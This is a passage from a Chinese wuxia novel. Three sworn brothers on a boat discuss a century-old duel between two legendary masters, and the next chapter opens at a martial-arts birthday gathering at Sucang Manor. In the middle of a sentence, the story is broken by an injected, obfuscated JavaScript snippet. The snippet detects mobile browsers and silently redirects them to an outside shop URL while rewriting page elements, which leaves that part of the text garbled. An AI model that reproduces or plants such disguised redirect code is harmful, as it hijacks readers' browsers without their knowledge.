直至成化年间,武当弟子陈玄松游历太湖,眼见百姓苦于匪患,挺身而出。陈玄松先是击败太湖九匪之中最为强盛一派——柯佬帮首领田侉,成为柯佬帮帮主,再以柯佬帮立足,逐步击败、收服其余八派。陈玄松将这些收服的水匪归于门下,成立宿苍山庄,教化、规训,带领他们疏浚河道、开垦农田,太湖匪患渐平。朝廷忌惮江湖势力崛起,却因其功盖一方,不便为难,最终由皇帝亲笔题匾“宿苍山庄”四字,由陈玄松亲手悬挂山庄门前,以示归附。 除去朝堂势力之外,宿苍山庄在江湖之中也颇具威望。一来因其庄主陈玄松师出武当名门,剑法卓绝,难逢敌手;二来,宿苍山庄立派数十年来,仗义疏财,广济侠士,凡遇武林大事,必是身先士卒,竭力相助,各大门派无不敬仰。 就好比这一次,弘治八年七月初一,宿苍山庄庄主陈玄松五十大寿,广发请帖,中原武林各派争相赶来祝寿。然而名为“祝寿”,实则各怀心思。 近一年来,中原武林多事,先是滇南魔教蠢蠢欲动,门下教众频繁出入中原,寻衅滋事;后有白衣顽童横空出世,接连打败各派高手,获得“不败顽童”之名。虽说这位“不败顽童”挑战各派高手,皆是点到而止,未杀一人,然而所谓名门大派,最重不过名望地位,这位“不败顽童”师出无门,却能连败各派顶尖高手,更能在对战中偷学各派武功绝学,无疑是狠狠打了各大门派脸面。为保自家威望,原本互不相扰的武林各派借“祝寿”为名,齐聚宿苍山庄,共同商议对付势力崛起的魔教和“不败顽童”。朝廷唯恐江湖动乱,亦派出四大名捕,以“祝寿”为名刺探虚实。一时间,原本山河明丽的太湖之畔,已是风雨欲来。 不过,此乃后话。现下,还是将目光转回云梦泽。 六月至末,月隠星朗,茫茫云梦泽上,遥遥可见一点孤光萤火。这是一艘画舫,船身小巧轻灵,既无风帆,亦无舟楫,随水逐流,荡漾于星河碧波之中。 船内烛火明亮温暖,无痕公子趺坐榻上,闭目调息,古三通和朱铁胆守在他身旁,运功助其疗伤。三人皆是内力深厚,仍需合力才能将无痕公子体内罡气化去。一个时辰之后,无痕公子长吐一口浊气,体内真气已畅,内伤痊愈,可三人都累得额顶冒汗。 无痕公子的随侍女童梅琴早已守候在侧,立即将温热湿巾和茶水递上。 “公子!朱少侠!” “还有我呢!”古三通顽童之心,见梅琴只照顾无痕公子和朱铁胆,忍不住调侃,“明明助无痕公子疗伤我也有份,怎么不招呼我?小姑娘也太偏心了!” 梅琴见古三通嬉皮笑脸,面色一冷,忽地转身出掌,将托盘上的第三杯茶向前推去。古三通一时不防,又惊讶于小小女童有如此本领,竟接不住。于是,一杯滚烫的茶水尽数洒在古三通胸前,烫得他直咧嘴。 “哼!”梅琴朝古三通一甩脸色,转身离去。 “哇!小姑娘怎么火气这么大?要多喝几碗凉茶去去火啊!” “好了!你正经一点!”朱铁胆嘴上训斥,却不忘拿起手巾递给古三通,“你连累公子受此重伤,人家不赶你已是大度,还耍贫嘴!” “那怎能说是我连累?今日拜访你没份啊?你也没发现有人跟踪,凭什么都怪我……” 正当古三通一本正经地巧言辩解之时,一阵爽朗的笑声打断他。只见无痕公子已然收功起身,笑吟吟地看着二人。 “一人成熟稳重,一人玩世不恭,虽为结拜兄弟,可若细看,倒是朱兄更有几分师长风范。” “公子这么说可偏心了,我是让着他,若是真打起来,我古三通才不会输!” “你就知道比武打架,公子说的是你这莽撞性子。” 三人就这样你一言我一语,看似相互拌嘴,实则谈笑风生,走到船内正厅,只见厅中已摆好一桌酒菜,一名素衣女子正忙着布置碗碟。她一见来人,便转身相迎。 “表哥、无视!” “素心!”朱铁胆率先上前相迎,但立即察觉不妥,后退一步,“你辛苦了!” “哎呀!你瞎忙活什么,又没人让你做这些!”古三通嘴上不饶人,眼中却有柔情,“你坐下休息吧!” “不用,我不辛苦的,梅琴妹妹也帮了不少忙!”素心转向无痕公子行礼,“叨扰贵所,素心不胜惶恐,只能借花献佛,准备一桌酒菜,希望公子不要嫌弃!” “我来介绍!”相较于素心的恭而有礼,古三通更加任情恣意,一把搭住无痕公子肩头,“这位是当年指点我找到秘笈的高人,人称春梦了无痕公子。” 眼看古三通又拿这名号调侃,无痕公子气得瞪了他一眼,却见古三通毫无悔改之意,反而一脸无辜。 “这不怪我!我既不知你姓甚名谁,当然更不知该如何称呼。” 无痕公子对古三通的狡辩实在无可奈何,而他也无意隐瞒,便开口道: “李世晴。” “啊,原来是李兄!”古三通也是抓着便宜就卖乖,装模作样地拱手一拜。 “都别站着了,大家坐下说话!”许是已经对古三通这般嬉笑调侃见怪不怪,李世晴不再搭理他,转而招呼众人,“素心姑娘今夜劳碌辛苦,李某在此谢过,也请一起用膳吧!” 于是,几人也不再客气,纷纷入席,连梅琴也坐在李世晴身旁,完全不见所谓主仆贵贱之分。酒过三巡,菜过五味,素心望着船外茫茫夜色,不由问道: “请问公子,这船……是要驶向哪里?” “太湖,宿苍山庄。”古三通再度抢话,他察觉到李世晴瞪着他的目光,直率道,“我说的不对吗?以李兄的武功,再加上玄机老人亲传弟子的身份,早就能够名扬武林,可这数年来,你一直与世无争,现下突然离开隐居之地,招待收留我们几个麻烦精,难道为了不是共赴武林大会?” “武林大会?你要去参加武林大会!” 素心急得脱口而出,可面对素心关切的眼神,古三通似乎并不领情,慢悠悠夹起一条银鱼塞入口中,对素心不理不睬。 “古兄多想了。”李世晴察觉气氛不对,开口缓和道,“太湖七月,景色优美,且与云梦泽水系相连,我有意邀请诸位一同乘船游玩,却未事先言明清楚,思虑不周,还望诸位见谅!” “公子哪里话?”朱铁胆察觉李世晴好意,连忙应和道,“公子相邀,我等不胜荣幸!素心,七月正是太湖游玩最佳时节,我们能与李公子结伴同行,不会有事的,你且放心!” 二人巧言安慰,素心了然,但心中忧虑不减。李世晴察觉,向梅琴眼神示意。 “素心姐姐!”梅琴轻快地跑到素心身边,挽着她的胳膊,“灶上煲了莲子糖水,算算该到时辰,我们一起去盛出来吧!” “哎呀,我都忘了!” “这可是你专门为古少侠准备的,要是煲过了头,口感可就差了。” 说罢,二人结伴走去厨房。 素心与梅琴离席,厅中只剩朱、古、李三人。古三通依旧一副事不关己,自顾自地向碗中夹菜。但古三通也不是呆瓜,他自然感受到其余二人责难的目光。最终,他不再忍耐,重重放下筷子。 “干什么?” 古三通直面朱铁胆,却见朱铁胆并未开口责难,只是一言不发地瞪着他,眼中已显几分愤怒。 “古兄这性子还是与五年前毫无二致!”李世晴眼见气氛僵持,继续圆场道,“只要谈到武功决斗,便不管不顾。虽然你是赤子之心,我也知你并无害人之意,但总这般行事,难免招惹祸端,最终……只怕伤人伤己。” “随便。”古三通满不在乎,“反正我生来就是这性子,好与不好全让旁人说去,我也不打算改。我既未伤天,又不害理,问心无愧,自求我道,碍着谁了?反倒是李兄你又如何呢?” “我怎么了?” “我古三通是武痴,既然武林各派集聚宿苍山庄,想来定有大事发生,我当然不会错过这个热闹。可李兄你不一样,你武功高强,又是玄机老人的亲传弟子,却不在江湖上扬名立万,而是甘愿隐居云梦泽,说明你不喜欢和人争斗,对于所谓的江湖虚名也不在乎。可今日那位南教教主刚带着他的漂亮妹妹一出现,你就立刻赶赴太湖,怎么想都不可能是去游玩踏青吧!” 古三通反将一军,一针见血地指出疑点所在,李世晴不由得心中惊叹,古三通平时看似鲁莽冲动,只因不在乎世俗眼光,实则聪慧颖悟。李世晴就是看中这一点,才引导古三通寻找天池怪侠的武功。既然时机已到,李世晴索性坦言道: “天池怪侠与玉龙行客百年之战,岂能错过?” “又是百年之战!你们说来说去,就我听不明白。李兄是否欠我一个解释?” 李世晴并未立即回答,反而看向一旁的朱铁胆,朱铁胆心中了然,起身道: “公子与古兄有要事相商,在下先行告退。” 朱铁胆正要离开,却被古三通一把拉住,将他推上前去,强硬道: “你既然练了天池怪侠的武功,也算是天池怪侠的徒弟,事关咱们的师父,岂有置身事外之理?” 朱铁胆眼见古三通如此强硬,再看李世晴亦是神情淡然,想来早有猜测,也不再隐瞒。 “在下不才,当日古兄寻找天池怪侠秘笈之时,我亦同行,有幸习得天池怪侠之绝学。只是……我不知公子有意将绝学传于古兄,是我……” 李世晴稍稍抬手,打断朱铁胆。 “我并非有意将天池怪侠绝学传于古兄,我只是将绝学线索告知于他,能否找到全凭机缘。朱兄能够习得天池怪侠绝学,证明你也是有缘之人。” “公子谬赞!只可惜我年少放浪,已非童子之身,无法修习天池怪侠最顶尖的武功,也算不得天池怪侠最得意弟子。” 听闻此言,李世晴忽地眉头一皱,眼中闪过一丝困惑,他看向古三通,古三通急忙岔开话题: “好了好了!既然认了师父,都不算是外人,李兄有话就说吧!” 李世晴看出古三通有所隐瞒,但也不再追问,淡淡笑道: “既然两位都是天池怪侠的弟子,我自然应该如实相告,不过,朱兄是否也应坦诚相见呢?” 眼见话锋再度转向自己,朱铁胆不由一愣,却听李世晴淡淡地说出四个字: “火里的冰。”李世晴继续道,“当初我赠古兄四句谜语,‘天上的水,水里的火,火里的冰,冰里的武功。’其余三句不算难猜,只要猜谜之人心性聪颖,细致探查,就能明白。可这第三句‘火里的冰’不一样。千年玄冰乃世间罕见之物,寻常人家闻所未闻,遑论解谜,除非绝世高人,亦或是……出身皇族。” 李世晴没有再说下去,朱铁胆被一语点破,一时惊得不知如何辩解。他转头再看一旁的古三通,却见古三通也是面色平静,毫不惊讶。 “朱兄不必多想!人的出身,并非自己所能决定,皇族之身也不一定就是世间第一得意事。”李世晴语气平和,不似追问,倒像宽慰,“我并非排斥皇族,也无意探查你的私隐。刚才也说了,朱兄能够习得绝学,是你的机缘。我受师父遗命,为天池怪侠的武功绝学寻找传人,古兄天资颖悟,朱兄品行端正,自然是绝佳人选。只不过庙堂之上,江湖之远,本不该有过多牵扯,我心中有些忧虑,多问了几句,若有冒犯,还请朱兄见谅!” 李世晴言语诚恳,毫无责难之意,反叫有意隐瞒身份的朱铁胆心生惭愧。言至于此,朱铁胆暗下决心,索性将一切和盘托出。 “李兄说得不错,我的确出身皇族。我本名无视,我的父亲……乃是当今圣上,可我的母亲并无出身,只是一名宫女,因此我在宫中没有地位。我已然成年,却未封王,便是印证……” 话至此处,朱无视言语中似乎多出些许失落,但他掩饰得很好,并未发作。 “因此我索性出宫闯荡,修习武艺。机缘巧合,我结识了古兄,随他一同寻得天池怪侠绝学,如今又有幸结识李兄。若是李兄介意我的身份,我……” 李世晴再度抬手打断朱无视,温和笑道: “话既已讲开,也没有什么。我说了,我并非排斥皇族之人,相反,或许你的心情我能体会一二。世人只道天家荣华,豪门富贵,可所谓出身,原本就不是能够选择,若这些荣华富贵非我所愿,不过是枷锁罢了。” 言至此处,李世晴有所动容,似是深有同感。 “我想,古兄也不会因这皇族身份,而与你生了嫌隙。” 说话间,李世晴将目光转向古三通,只见古三通满不在乎地耸了耸肩。 “第一次见面,我就问他姓朱是与皇帝有何关系。早说出来不就结了,憋在心里闷得慌!” 古三通赤诚坦荡,李世晴温和宽厚,这是朱无视在冰冷黑暗的宫墙之中绝无法想象的光明,他不禁心中一热,举起酒杯,敬道: “朱无视何德何能,能够结识两位挚友!今日承蒙两位兄台不弃,朱无视愿以性命相交,永不相负,如有违背,叫我不得好死!” 朱无视言真意切,而李世晴与古三通相视一笑,不约而同举起酒杯。三杯相碰,一切情义皆在不言之中。 “好啦!”古三通放下酒杯,朗声道,“如今结拜的酒也喝过了,李兄当不能再有隐瞒了吧?” “我几时说过要瞒你们?”李世晴从容道,“只是在说之前,我想先问一句,古兄、朱兄可听说过玉龙仙客?” “这个我倒是略闻一二。”朱无视率先说道,“我曾在大内藏书阁卷宗中读到过,相传玉龙仙客是滇南苗人,前朝末年动荡,战乱不止,玉龙仙客聚集信众,成立南教,辅佐狇氏土司抵抗蒙古。等到战乱平息,狇氏土司归顺大明之后,将南教奉为圣教,因此南教在滇南势力庞大,人人敬畏。可又因为南教是苗人帮派,善用蛊毒,为中原诸派不容,因此被蔑称‘魔教’。等等……仔细算来,玉龙仙客与天池怪侠当属同一时……” “不错!”李世晴赞赏道,“玉龙仙客与天池怪侠皆是百年前的武林高人。天池怪侠成名较早,相传其武功高强,性情古怪,隐居于天池之畔,因此被称为‘天池怪侠’。而玉龙仙客是滇南苗人,与中原武林少有往来,因此世人亦对其知之甚少,更不知玉龙仙客年轻时曾游历中原,与天池怪侠有过一战。” “如此说来,玄机老人与这两位高人……” “正是!先师幼时是天山脚下一名牧牛童子,机缘巧合,有幸目睹天池怪侠与玉龙仙客决战。” “当真!”闻至此处,古三通激动得两眼放光。 “不错,据师父生前所说,那一场决战可谓惊天地、泣鬼神,两位绝世高手连战三日,搅得雪山撼摇,天池激荡,仍是难分胜负。先师有幸观战,事后又分别得两位高人指点,才有日后成就。” “妙啊!”古三通拍手叫绝,只要谈及武学,他总止激动不已,“两位绝世高手之战,定是前无古人,可惜我生不逢时,若能让我看上一眼,就是死一百回也情愿!等等,你说难分胜负,那后来怎么样?” “古兄别急,我这不正要说吗?”李世晴举起酒杯,呡了一口酒,待嗓子清润了些,继续缓缓道,“据师父所说,两位高人连战三日,已是力竭,若再相斗,只会两败俱伤。两位高人虽是痴迷武学,却非好勇斗狠、心智蒙蔽之辈,最终,两位高人想出了另一种决斗之法。” “快说什么办法?”古三通催促道。 “以彼之道,还之彼身。两位高人相约,将自身绝学著为秘笈,赠予对方,由对方传于后世弟子修炼,百年之后,由两派传人再次决战。” “这是为何?”朱无视疑道。 “天池怪侠与玉龙仙客皆是绝世高人,所思所行自然超脱凡俗。师父生前猜想,许是两位前辈使出全力仍无法战胜对方,自觉修为已至瓶颈,便将胜负托付于后人,一来是为了绝学后继有人;二来得以研习对方绝学,取彼之长,补己之短;三来由自己的传人战胜自己曾经的绝学,亦不失为武学境界的突破。” “可……”朱无视不解道,“倘若对方背信弃义,既了一方绝学秘笈,又将自身武功全数传于后人,这名后人习得两派武学,得如此助益,岂非胜券在握?” “哎呀!你怎么会有这样小家子气的想法?”古三通不屑道,“天池怪侠和玉龙仙客可都是绝世高人,高人怎会做如此不光彩之事?两位前辈既然决定将自身绝学赠予对方,百年之后由后人决胜负,耍这一时半刻的小聪明有什么意思?若是如此憋屈的赢法,还不如不赢呢!” 古三通直言快语,倒叫朱无视无从反驳,而李世晴在一旁听着,不禁会心一笑,果然心怀赤诚之人,眼中所见世间亦无半分污秽苟且。 “其实两位说得都对!”李世晴开口说道,“古兄所说,正合两位高人气节品性,但若以谋略而言,朱兄所言亦不失为良策。不过,照今日情形来看,当是古兄所说不错。” “今日情形?” “古兄今日与南教圣女相斗,难道没有察觉任何违和之处?” 此言一出,倒让古三通不知从何说起。 其实,以古三通如今的武学境界,岂会毫无察觉?那位南教圣女年纪轻轻,却修为极高,放眼当今武林亦是难逢敌手,但相对于古三通仍是不及。今日相斗,古三通有意相让,但按着古三通的武痴脾气,也必是在胜券在握之下让个一两招,却不想南教圣女最后使出的两招如此古怪,令古三通防不胜防。 “难道……那位圣女使出的招数……” “南教为滇南苗帮,中原武林对其知之甚少。不过,师傅生前与南教前任教主有些许交情,在他老人家所著《百兵谱》中记载,南教善用蛊毒,武学庞杂,但若论嫡传秘技,唯有两门——移花接木大法和化一掌。而古兄与朱兄已习得天池怪侠的武功绝学,便是……” “金刚不坏神功!” “吸功大法!” 古三通、朱无视皆不约而同地脱口说出。 “如此说来……”朱无视分析道,“这移花接木大法和化一掌乃是天池怪侠所创,而我们修习的金刚不坏神功和吸功大法则是……” “不错,正是玉龙仙客所创!”李世晴严肃道,“这四门武功皆是绝世神功,玄妙超俗,威力巨大。虽有百年之约不可避,但若真要对战,还是要小心行事。尤其是古兄……” “哎呀,管他呢!” 古三通一口打断李世晴,早在听闻天池怪侠与玉龙仙客的天山之战、百年之约之时,古三通已是心中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296316|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雀跃,眼下更是兴奋得蹦起身来,一脚踏在梨木椅子上。 “当年我生不逢时,遗憾未见两位高人绝世之战,如今却能作为天池怪侠的传人完成这场百年之约,可谓是几辈子攒来的运气!不管是谁所创,只要我赢了,我就让南教教主把他那两门绝学教给我,这样一来,我掌握两大高人的武功绝学,就是真正的天下第一!” “别想得这么简单!”李世晴语气冰冷,如同一盆凉水迎头浇下,“你就知道自己一定能赢?既是百年之约,玉龙仙客的传人岂会怠慢?再者说,两位高人百年前互换绝学,就是为了破解自身武学缺陷。你的金刚不坏神功本就是玉龙仙客所创,若论天底下谁最清楚其中弱点……” “不管了!不管了!”古三通不耐烦地挥手打断李世晴,“比武决斗,赢就是赢,输就是输,哪有这些弯弯绕绕?我有把握一定能赢,倘若输了,也是我技不如人。男子汉大丈夫,若是技不如人,怎还有脸闯荡江湖?不如找个山洞躲起来,一辈子不见天日好了!” 古三通越说越兴奋,抓起桌上木筷,舞起剑来。船上空间不大,古三通一袭白衣,于方寸之地,一招一式,潇洒如意,矫若游龙。李世晴看着白衣舞剑,心中却是五味杂陈。 率直坦荡,赤子之心,这就是古三通,亦是李世晴最为欣赏的品质。可纵使古三通心中坦荡,世间却未必一片清明,更何况他这般执着于武学,不管不顾,有时伤了他人也无自知。 果然,古三通舞剑正值兴头,先是使出一招“白鹤登高”,转身又是一记“回风逐月”,不料素心竟端着托盘站在身后。原本,素心见古三通舞剑,有意避让,离着数丈有余,岂知古三通这一剑带着剑风。素心手中托盘盛着几碗糖水,本就沉重,而古三通剑风凌厉,虽然他及时收招,但素心被吓了一跳,连连后退,手中托盘已拿不住。 说时迟,那时快,只见古三通纵身向前跃去,下腰一探,筷尖抵住托盘一角,腕力巧劲一抖,托盘回转之间,瓷碗一个个落入盘中。古三通再右脚向前一步,稳住腰身,左手前伸,使出一招“海底捞月”。转瞬间,所有糖水一滴不落地尽数纳入碗中。 这一切发生不过眨眼之间,而古三通的动作行云流水,一气呵成,足见功夫之精妙。古三通举着托盘,如同游戏得胜的孩子一般,昂着脑袋等待表扬,却根本无人搭理。朱无视更是看也不看他,直奔素心。 “素心……”朱无视紧张地上下察看,也顾不上避嫌,“你怎么样?有没有烫伤?” “我……我没事……”素心轻声宽慰,却还是被发现指尖的一点红肿。 “你这是……” “没什么,只是在厨房拨弄柴火,被燎了一下。” “那也不是小伤!有道是十指连心,若是不注意,伤口可是要反复。”朱无视转向一旁的梅琴道,“我那儿上好的紫草油,敷上能好得快些。劳烦梅琴姑娘先取些冰水来!” 朱无视虽然着急,言语还是礼敬,梅琴也乐得帮忙,二话不说回厨房取冰,朱无视则将素心扶回厢房休息。转瞬间,偌大的厅中只剩古、李二人。 古三通受了冷落,一声不响地坐回桌边,手中木筷对着残羹剩菜发泄怒气。李世晴察觉气氛不对,默默在他的身边坐下。 “既然担心,古兄为何不去看看?” “看什么?看就有用吗?我可没有什么紫草油红草膏的。” “古兄既然明白,此刻竟还坐得住?” “为何坐不住?”古三通嘴硬道,“我古三通毕生所求,唯有武功天下第一,其余一切皆是累赘。她若愿意留下就留下,不愿意的话,另谋出路我也不怪她!” 古三通说得满不在乎,声音仍是发虚。李世晴听了,心中直骂古三通嘴硬,开口却是话锋一转,问道: “古兄这般退让,可是因为心中有愧于朱兄?” 李世晴此言一出,着实将古三通吓了一跳,只见古三通眼神闪烁,遮掩道: “李兄这话……从何说起?” “古兄非要我挑明了吗?”李世晴一改先前温和,语气冰冷,显然不给古三通逃避的机会,“我既奉先师之命,守护天池怪侠武学秘笈,自然对其武学略知一二,可我怎么从未听师说过,修炼天池怪侠的武功需要童子之身?” “看破不说破,你这人可真没意思!” “若要人不知,除非己莫为。” “是是是,学生谨记教诲,李老夫子!” 古三通插科打诨,却见李世晴眼神直逼,不容他逃避,只好老实交代。 “没错,必须以童子之身修炼金刚不坏神功这一点,是我故意编造谎言,捉弄朱无视。” “到底怎么回事?” “当日,我们一起潜入天池寻找秘笈,不想在水中遭遇旋涡受困。我二人合力以拈花指功打开一条生路,勉强逃入一个岩洞,却因受水流冲击,撞上岩壁,双双昏厥。我运气好,先醒了过来,察看岩洞四周,才知道那里正是天池怪侠的隐居之所,而天池怪侠的遗体面前正放着两本秘笈。再然后……我看无视还在昏迷,灵机一动,想起他曾跟我炫耀过他年轻时的荒唐事,就……随机在两本秘笈上写下‘童子之身练’、‘非童子之身练’,谁知道,他还真信了!” “你啊!”古三通顽童嬉笑,李世晴不由怒道,“你无端扯谎,究竟为何?” “为了你啊!这不正是你苦心安排的吗?” 古三通见李世晴一脸惊讶疑惑,心想终于也有无痕公子想不明白之事,不禁得意道: “当初你赠我四句谜语,寻找天池怪侠秘笈,此等大恩我自当言谢!不过,现下回首一想,恐怕你不是真心想让我一个人找到。” “此话怎讲?” “火里的冰!”古三通一字一顿,清楚道出,“就如你刚才所说,千年玄冰乃世间罕有之物,我一个平民出身的毛头小子怎么可能知道?其余三句谜语只要足够聪慧就能解开,可若少了这第三句,要想解谜终究是痴人说梦。若我当初没有遇见朱无视,又或是我心存贪念,只想着将秘笈据为己有,不愿将谜语线索与他人分享,那我就算耗尽一生也无法找到秘笈。” 古三通一语破的,李世晴惊讶之余,亦有惭愧。 “古兄所说不错!我奉师父之命,寻找天池怪侠武学传人,自然要保证传人品行端正。五年前,巫峡船难,那时你虽然武功平平,却能想着先救他人,可见心中侠义。只是为求稳妥,再设谜语另作试探,小人之心,望古兄见谅!” “恐怕,不只为了试探吧?”古三通继续道,“依我所见,当年天池怪侠与玉龙仙客互赠武功秘笈,一来是求武学精进,二来亦是警醒,倘若后人不肖,习武逞凶,也有相克之法。你也是这样想的吧?你既设计让我将谜语分享出去,自然料想得到另一位有缘人也是追寻天池怪侠武学而来,岂肯空手而归?若我们二人心术不正,想着独占武学,必然相争,两败俱伤。就算不争,也保证世上有两人继承天池怪侠武学,倘若他日我误入歧途,就由这位同门师兄弟将我打败。这才是你真正苦心所在,对吗?” 古三通这一番推理层层递进,思维缜密,将李世晴心中所藏思虑尽数道出。这令李世晴着实惊讶,原只道古三通痴迷武学,心性纯真,如今看来,实为大智若愚。 “古兄见笑,我不过邯郸学步,效仿两位前辈,却被古兄看破。古兄不怪我如此试探,我在此谢过!不过,我倒有一疑问,古兄既知我试探之意,怎还愿将秘笈让出?如此一来,就算古兄练得金刚不坏神功,却还有一人与你相克,你可容得下?” “为何容不下?”古三通一改平素嬉笑,正色道,“我虽非出身名门大派,却也懂得天外有天、人外有人的道理。我挑战高手,是为了突破境界,天下第一不过是个名头罢了,难道真要把有可能武功胜过自己的对手通通杀死吗?我古三通再痴迷武学,是非底线还是懂得!” “可我还是不明白,当时你初见秘笈,想来无法立时分辨哪一门才是天池怪侠第一绝学,你随机书写,万一猜错了,岂非得不偿失?” “若真是这样,只能自认倒霉。原本这就是我一时兴起的恶作剧,万一猜错了,也是我自作自受。不过好在上苍眷顾,让我猜中了金刚不坏神功。” 古三通神色坦然,可见心性率真,虽痴迷武学,却也能明辨是非,不致丧失本心,这令李世晴不胜欣慰,不由得举杯敬道: “天资聪颖,心性纯良,能寻得古兄继承天池怪侠的衣钵,我也算不负师父所托。” “别急!”古三通按着李世晴的手,抢过他手里的酒杯,一饮而尽,“还有一事未了。” “古兄指的是?” “百年之战,李兄作为玄机老人的弟子,总不会忘了吧!”古三通见李世晴又显忧虑之色,轻松道,“我知道你为我担忧,这份情义兄弟记着。可李兄想一想,如此百年难遇之战,你愿意错过吗?我身为天池怪侠的传人,更没有避而不战之理。不管那位南教教主在图谋什么,我自问心无愧就好。再说了,我这不是还有一位足智多谋、尽晓武林事的无痕公子相助吗?” 言至于此,古三通又恢复嬉笑顽皮的模样,还颇为无赖地拍了拍李世晴肩头。而李世晴也只是无奈一笑,毕竟这就是古三通的脾性,李世晴也正是因为欣赏这一份赤子之心,才愿与他结为至交。无论日后局势如何发展,但至少此刻二人都不曾怀疑这一份坦诚相待的情义。 23.顽童扰盛宴 公子扬威名 六月至末,太湖之上,暑气日盛。过了渔季,太湖沿岸的渔民本已收了活计,偷一时清闲,却不想这几日,太湖之上又是舟楫繁忙。风蒲猎猎,过雨荷香,原只道是文人墨客趁着季夏时节游玩,可若细看乘船之人,皆是衣着粗简,身姿威武,不似慵懒雅致的文人,却是一个个江湖做派。这也不奇,太湖宿苍山庄庄主陈玄松乃武林名宿,其六十大寿广发请帖,武林大派无不应邀,加之陈玄松与朝廷颇有来往,朝廷刑部座下四大名捕亦亲赴太湖贺寿,可见威望。 今日七月初一,正是陈玄松六十寿宴,可谓宾客络绎,山庄门前的石阶已排满贺寿队伍。宿苍山庄对此亦是早有准备,只见山庄管家一早立于庄前,一面笑脸相迎往来宾客,清点贺礼,一面吩咐下人招待各派弟子至后堂饮食休息,虽是忙碌,却也有条不紊。 在山庄内堂之中,陈老庄主端坐主座之上,举茶招待客人,一名银衣少女随侍在侧,正是陈玄松的独女陈霜衣。说起这位陈大小姐,今年一十八岁,容貌秀丽,性情恬静,陈玄松将其视若珍宝,陈霜衣亦是孝顺,日日随侍在侧,旁人见了,无不称羡这对父女慈孝、家庭和睦之幸。 再看客座,共有八人,正是当今中原武林七大门派高手。其中,少林、武当二派地位最高,陈玄松师出武当,如今武当掌门白石道人乃陈玄松的同门师兄,因此位居首座,其身后的紫衣小道乃武当派首徒、白石道人的徒孙郑无相。少林寺亦是武林北斗,可因此次少林主持并未亲临,而是派门下首徒了介大师前来祝寿,故而居于次位。再往下的,依次是峨眉派掌门明溪师太、崆峒派掌门天星子、昆仑派掌门何凌云、华山派掌门袁玉淑、丐帮长老薛承。除此之外,刑部四大名捕昨夜已到达,暂住宿苍山庄,只是毕竟朝廷中人,双方皆有避忌,因而今早安排在侧院用膳。 眼下茶已喝过,陈玄松再一拱手,谦笑道: “区区寿辰,能得各派高人莅临,老朽不胜惶恐!在此先行谢过!” 话音刚落,丐帮长老薛承立即起身做了一揖,朗声道: “清朝旧德,仙姿难老。陈庄主德高望重,今日得见,当是晚辈的荣幸!” 陈玄松温和一笑,拱手道: “薛长老客气了!正所谓长江后浪推前浪,薛长老年纪轻轻已位列丐帮八袋长老之一,实乃青年才俊。吾已老朽,往后中原武林还要仰仗诸位后起之秀!” 陈玄松此话不错,就拿堂中众人来说,除去与陈玄松同岁的白石道人、明溪师太,了介大师年方四十,天星子、何凌云三十余六,袁玉淑三十余二,而武当首徒郑无相仅有二十岁。若论起辈分,陈玄松与白眉道人、明溪师太以及了介大师的师父少林方丈苦难大师乃是同辈,而天星子、何凌云、袁玉淑三人虽为一派掌门,却是晚辈。 “陈老庄主过谦了!”此时,何凌云亦起身作揖,道,“陈老庄主德高望重,乃武林名宿,吾等皆是仰慕不及。更何况……” 言至于此,何凌云脸色一沉,道: “当今武林,与其说新秀辈出,倒不如说是青黄未接。值此危难之际,更需要陈老庄主这般前辈挺身而出,主持大局。” 此话一出,在座众人皆是脸色阴沉。然而,话不中听,却非妄言。若问当今武林人才青黄不接之因,要从二十年前的一场浩劫说起。 二十年前,魔教前任教主花傲寒与前任少林方丈苦至大师决战,战至平手,皆受重伤。苦至大师伤重圆寂,而少林寺上下对于决战之起因、情形皆讳莫如深。但少林寺乃中原武林之泰山北斗,竟制不住一个苗疆帮派,如何了得?于是,不知从何处传出流言,说魔教教主暗施蛊毒巫术,害死少林方丈。中原武林各派也不分辨查证,反而争先以“惩恶除奸”为名,在魔教教主返途路上,追杀堵截,最终将其逼至太湖西山,由武当、峨眉、崆峒、昆仑、华山、丐帮六派高手围剿。魔教教主愤而反击,力战而死,沉尸太湖,而六派高手亦受重创,五名高手当场毙命,其中就有崆峒、昆仑、华山三派掌门,唯一存活的只有当年以武当弟子身份出战的陈玄松,而陈玄松也因此一战成名,造就宿苍山庄如今的武林地位。 “事到如今,情势已不容缓,各位心知肚明。”何凌云接道起说,“眼下魔教来势汹汹,显然是为当年之事而来……” “魔教算得了什么?”天星子出声打断何凌云,只见他手捻胡须,面色从容道,“魔教再嚣张,也不过是一介边陲帮派,在中原毫无势力,前任教主那般骄横,还不是一样败于陈老庄主之手?” “天星子掌门过奖了!当年击败魔教教主乃是各派高手的功劳,吾能存活实属侥幸!”陈玄松连忙谦让道。 “陈老庄主不必过谦!”天星子站起身来,拱手奉道,“无论如何,魔教当年已是手下败将,有陈老庄主坐镇,不足为虑。更何况,我听说如今现任教主不过是一个未满三十的小子,想来也没什么武学修为。” “此言差矣!”此时,原本一直沉默不言的白石道长出声道,“武学修炼,并非只看年资,更重天赋。魔教远离中原,武学秘技我等一概不知,不容小觑。” “白石道长说的是!”天星子转向白石道人一揖,笑道,“我中原武林本就不乏武艺高强的青年才俊,如今若论风头最盛,当是那位不知来由的白衣顽童古三通。听说就在上个月,古三通以一炷香为限,打败了以郑少侠为首的武当三英。” 天星子话锋一转,直刺武当派痛处,白石道长身后的紫衣小道郑无相就是武当三英之首。郑无相受此数落,顿时面色如土,但碍于身分,不便发作,反倒是一旁的陈霜衣忽然开口责难。 “天星子掌门何出此言?”只见陈霜衣急得上前一步,仿佛全然忘了辈分礼数,“论年资,郑师兄不过二十岁,武学修为自然比不上各位前辈!若按天星子掌门所言,半年前,崆峒派……” “住口!” 一声怒喝生生打断陈霜衣的话语,陈霜衣回过神来,只见父亲双目怒视,才意识到自己的失态,急忙退回父亲身后。 一时间,堂内气氛尴尬。天星子始料未及,刚才他的确出言挑拨,但这是他与何凌云商量好的激将之法。 